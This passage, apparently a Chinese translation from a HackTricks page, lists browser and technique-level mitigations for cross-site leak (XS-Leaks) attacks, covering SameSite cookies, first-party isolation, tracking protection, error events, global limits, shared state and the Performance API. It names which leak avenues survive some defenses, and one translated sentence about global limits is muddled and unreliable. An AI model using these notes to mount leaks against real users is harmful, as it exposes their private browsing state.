  • Same-Site Cookies。Same-Site cookie标志允许网站声明cookie是否应该限制在同站点或第一方上下文中。所有主要浏览器都支持Same-Site cookies。在GC中没有该属性的cookie现在默认为Lax。对于XS-LeaksSame-Site cookies极大地限制了泄露攻击的可能性。另一方面,依赖于**window.open的泄露技术仍然可以与SameSite=Lax一起工作**。使用其他认证方法的网站如客户端证书和HTTP认证仍然容易受到攻击
  • 跨源标识符不关联性COIU。COIU也称为第一方隔离FPI是用户可以在FF的专家设置中启用的可选安全功能about:config最初在Tor浏览器中引入。从抽象的角度来看它是一个扩展的同站点上下文。它将多个资源例如Cookies、Cache、客户端存储绑定到第一方而不是在所有访问过的网站之间共享。如果启用COIU大大减少了XS-Leaks的适用性因为只有使用弹出窗口的方法仍然可能符合政策的第一方要求。
  • 跟踪保护。苹果在SA中实施了一种名为**智能跟踪防护ITP**的隐私机制旨在通过限制cookies和其他web API的能力来对抗跨站点跟踪。在SA的新版本中ITP默认情况下会阻止所有第三方cookies没有任何例外[74]。这种阻止防止了所有不基于弹出窗口的泄露。FF采取了类似的方法即增强跟踪防护ETP但它们只阻止属于跟踪提供商的特定第三方cookies。在XS-Leaks的背景下ETP只缓解了针对这些跟踪域的泄露技术。
  • 浏览器扩展。安全意识强的用户可以使用浏览器扩展来防止某些包含方法

泄露技术缓解

  • 事件处理器。对这种泄露技术最有效的缓解措施将是全部拒绝它们但这将破坏互联网上的大多数web应用程序。因此我们建议减少可以在事件中收集的必要信息数量。例如CSP违规事件不应该在blockedURI字段中包含重定向目标URL。这种行为在FF和GC的新版本中已经实现 - 只有SA仍然容易受到攻击。
  • 错误消息。为了缓解基于错误消息的XS-Leaks有两个主要要求。首先错误消息不得包含详细信息,类似于事件处理器消息。其次,浏览器必须最小化错误消息的发生。例如SRI错误、ContentDocument XFO或Fetch Redirect的XS-Leaks是检测是否抛出错误消息。
  • 全局限制。修复滥用全局限制的泄露技术相对复杂,因为它们依赖于物理限制。一般建议是在小的每站点基础上限制全局限制。如果全局限制是1如对于支付API攻击者可以在任何时候悄悄尝试激活WebPayment UI这只有在没有其他标签页同时使用UI时才会成功。我们建议只在使用可信事件时才访问支付API。通过这种方式除非用户提供同意如在对话窗口上点击鼠标左键否则全局限制设置为零这将全局限制设置为一。
  • 全局状态。任何浏览器全局状态的属性都不应该可访问。例如FF是唯一在发生重定向时更新全局状态历史的浏览器这导致读取history.length。浏览器应该在重定向发生时创建一个新的历史属性而不是全局存储。其他例子包括共享资源如缓存。缓存泄露滥用浏览器中所有打开网站使用的共享缓存。为了完全缓解缓存泄露技术HTTP缓存必须按每站点分区如SA、GC和FF所实施。请注意在SA中iframe不受缓存分区的影响。
  • 性能API。我们证明了性能API是一个出色的泄露技术。在许多XS-Leaks中我们可以检测出跨源请求的响应是否有性能条目。作为统一我们建议确保所有请求都必须创建这样的条目并且只记录跨源请求的正确子集的时间信息。

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击

支持HackTricks的其他方式


使用Trickest轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}